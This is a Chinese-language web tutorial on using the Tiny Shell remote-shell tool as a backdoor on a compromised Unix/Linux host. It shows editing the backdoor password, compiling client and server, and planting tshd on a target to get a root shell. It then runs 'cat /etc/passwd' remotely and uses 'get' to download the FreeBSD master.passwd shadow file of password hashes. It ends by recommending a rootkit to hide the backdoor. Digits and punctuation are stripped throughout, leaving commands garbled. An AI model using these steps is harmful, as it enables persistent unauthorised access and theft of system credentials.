电脑故障

位置:IT落伍者 >> 电脑故障 >> 浏览文章

Tiny Shell使用说明书


发布日期:2019/2/17
 

Tiny Shell是一款轻量级的标准远程Shell工具可以提供远程执行命令(包括RloginTelnetSsh等)和文件传输功能(上传下载)支持单字节完全支持pseudoTerminal Pairs(pty/tty)等伪终端

前言

随着互联网的发展使用Unix/Linux系统的越来越多而入侵一台Unix/Linux系统也不再是什么难事了通常在入侵成功之后都会留一个或几个后门以便再次进入;对于Unix/Linux系统后门的种类比较多初级的有修改“rhosts”文件复制一个Shell到一个隐藏目录修改etc/passwd文件加用户等手段较高级的莫属使用内核模块后门(Rootkit)了它是Unix/Linux系统下最高级别的后门也许最具有隐蔽性的但今天我并不说Rootkit因为它的使用过于复杂对没有Unix/Linux系统使用经验的人来说更是难以驾御而 Tiny Shell作为一款运行于Unix/Linux系统下的轻量级Shell工具不仅小巧还支持另外一些不错的功能具体请看下文

应用

Tiny Shell简介 Tiny Shell是一款轻量级的标准远程Shell工具可以提供远程执行命令(包括RloginTelnetSsh等)和文件传输功能(上传下载)支持单字节完全支持pseudoTerminal Pairs(pty/tty)等伪终端并使用强大的bit RC加密以躲避嗅探器的检测具备AES + HMACSHA的强大加密和认证支持FreeBSDNetBSD OpenBSDSolarisSunOSHPUXIRIXCygwinLinux等系统

Tiny Shell应用 测试环境 本地OpenBSD IP 目标FreeBSD STABLE IP 首先下载Tiny Shell解压缩后修改源代码以求该工具更能符合我们的要求 #fetch #tar zxvf tshtgz #cd tsh #ls ChangeLog README aesh pelh shah tshh Makefile aesc pelc shac tshc tshdc #vi tshh char *secret = "replace with your passWord"; //连接后门的密码我修改为dahubaobao这个后门的主程序是tshc先看看下边的源代码 if( passWord == NULL ) { /* st try using the builtin secret key */ ret = pel_client_init( server secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重点在这里ret = pel_client_init( server secret ); 把secret变量作为了参数也就是连接后门所需要的密码现在知道为什么修改tshh了吧 #define SERVER_PORT //后门简听的端口任意修改 if( argc == && ! strcmp( argv[] "get" ) ) { action = GET_FILE; } if( argc == && ! strcmp( argv[] "put" ) ) { action = PUT_FILE; } //该后门并没有帮助信息所以查看这里得知Get为下载Put为上传当然如果你喜欢可以自行修改另外如果你想该后门输出帮助信息可以自己添加一个Printf语句来输出帮助信息这里给出一个最简单的方法我们在不加参数的情况下执行/tsh的时候会提示gethostbyname failed然后查看源代码找到fprintf( stderr "gethostbyname failedn" );这句代码聪明的你也许想到了就是修改gethostbyname failed为你想要的帮助信息这样在执行/tsh的时候就会自动输出帮助信息了呵呵也算一种变相修改吧下面开始编译源代码 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根据你的系统做相应的选择秒钟就编译好了(如图) 然后会在当前目录下生成两个可执行文件一个客户端一个服务端分别为tshtshd现在将tshd复制到目标系统(FreeBSD)然后执行/tshd完成安装为了更清楚的表示我使用的环境所以回到本地执行id命令得知该用户的UID=是普通用户;现在使用/tsh 来接连目标主机(为了测试方便我就不加密码了)现在我们获得了一个Root权限的Shell再使用id命令(注意这是在目标主机上)可以看到UID=这可是Root权限哦!执行uname –a命令回显为FreeBSD系统可见已经成功连接后门并登陆了(如图)另外该后门还可以在连接的时候插入Shell命令语法为/tsh “command”比如/tsh “cat etc/passwd”这条命令的意思是连接目标主机接着执行cat etc/passwd命令这样目标主机的passwd文件我们就一览无余了(如图)但要注意使用这种形式并没有登陆目标主机只是连接目标主机然后插入一个Shell命令而已 现在我们来看看上传下载的使用方法从源代码中知道上传的关键字为Put下载的关键字为Get先来看看如何上传文件执行“/tsh put 文件名 目标主机目录”即可完成上传但要注意文件要在当前目录下也就是和tsh在同一个目录下我上传的一个back的二进制文件使用/tsh put back /这条命令是将back文件上传目标根目录然后我再使用/tsh 连接到目标主机ls查看back是否已经上传到了对方主机(如图)呵呵还不错吧!在来看下载文件它的语法为 “/tsh get 目标文件 本地目录”现在我们来获得其最敏感的文件masterpasswd(影子文件也就是Linux系统下的shadow文件)执行/tsh get etc/masterpasswd /home/dahubaobao意思为下载目标主机的masterpasswd文件到本地的/home/dahubaobao目录然后使用ls查看可以看见已经将对方的masterpasswd下载到了本地(如图)再vi masterpasswd(如图)哈哈用户的加密密码近在眼前提示FreeBSD的用户密码是采用MD加密的

小结

Tiny Shell作为一款小型的Shell工具丝毫不逊于其他同类的Shell工具而且支持大部分的Unix/Linux系统绝对值得一试当然这款后门很不隐蔽我们可以结合Rootkit来加固(Rootkit中也提供Shell工具但无法和Tiny Shell相比不信你可以自己试试)Rootkit的使用可以去google找答案在此就不多说了

上一篇:如何在创建新用户后隐藏Administrator帐户

下一篇:什么是云计算,云计算是什么意思